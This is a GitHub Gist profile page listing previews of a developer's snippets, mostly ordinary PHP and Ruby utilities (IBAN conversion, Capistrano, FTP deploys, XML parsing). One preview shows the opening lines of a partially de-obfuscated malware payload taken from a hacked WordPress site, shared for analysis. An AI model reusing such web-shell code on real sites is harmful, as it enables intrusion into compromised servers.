Skip to content

Instantly share code, notes, and snippets.

View troelskn's full-sized avatar

Troels Knak-Nielsen troelskn

View GitHub Profile
<?php
class IbanConverter
{
function convert_dk($input) {
// DKkk BBBB CCCC CCCC CC
$iban = "DK00" .
str_pad($input['dk_bank_reg_number'], 4, "0", STR_PAD_LEFT) .
str_pad($input['dk_bank_account_number'], 10, "0", STR_PAD_LEFT);
$this->iban_replace_checksum($iban);
@troelskn
troelskn / AppServiceProvider.php
Created February 23, 2017 09:24
Laravel workaround for broken openssl
<?php
// app/Providers/AppServiceProvider.php
namespace App\Providers;
use Illuminate\Support\ServiceProvider;
class AppServiceProvider extends ServiceProvider
{
public function register()
{
@troelskn
troelskn / wphack_payload.php
Created March 23, 2016 09:30
Partially de-obfuscated payload script from a hacked wp site
<?php
if (FALSE == nplqy70($u11, $pakfn17)) {
echo PHP_OS . '+' . md5(0987654321) . '+01+[[]]
';
exit;
}
$jkber87 = array();
@troelskn
troelskn / Capfile
Created January 26, 2016 11:02
Sample cap setup
# Load DSL and set up stages
require 'capistrano/setup'
# Include default deployment tasks
require 'capistrano/deploy'
# Include tasks from other gems included in your Gemfile
#
# For documentation on these, see for example:
#
@troelskn
troelskn / mysql2excel
Last active September 15, 2015 13:58
On mac osx, turn a mysql console result into something that can be pasted into excel
#!/usr/bin/env ruby
# put in /usr/local/bin/mysql2excel
buffer = []
input = `pbpaste`.strip
input.split("\n").each do |line|
unless line =~ /^([+-]+|\d+ rows in set.*|mysql>)$/
buffer << line.gsub(/^[|]/, "").gsub(/[|]$/, "").strip.gsub(/\s*[|]\s*/, "\t")
end
end
IO.popen "pbcopy", "w" do |pipe|
@troelskn
troelskn / gist:221aec3bfdfd3d86d069
Last active January 5, 2017 18:51
xml2assoc.php
<?php
// Take XmlReader node and read it into an assoc array
function xml2assoc($xml) {
$buffer = null;
while ($xml->read()) {
switch ($xml->nodeType) {
case XMLReader::END_ELEMENT:
return $buffer;
case XMLReader::ELEMENT:
<?php
/**
* Write with file extension xls and you should be fine.
* This format is called SpreadsheetML
*/
class SimpleXlsWriter {
protected $filename;
protected $handle;
protected $title = "No Title";
protected $author = "No Author";

Keybase proof

I hereby claim:

  • I am troelskn on github.
  • I am troelskn (https://keybase.io/troelskn) on keybase.
  • I have a public key whose fingerprint is FCE4 73F5 52AA C2B0 B73D FEC2 680B 1145 00F1 D09E

To claim this, I am signing this object:

@troelskn
troelskn / Rakefile
Created September 26, 2014 09:49
Simple deployment via ftp
require 'rubygems'
require 'rake'
require 'ostruct'
require 'fileutils'
module Ftp
def self.invoke(config = {}, &block)
commands = []
commands << "set ftp:list-options -a"
commands << "set ftp:ssl-allow no" if config.disable_ssl
require 'ipaddr'
require 'net/http'
require 'uri'
require 'json'
module GeoIP
def self.configuration
@configuration ||= {}
end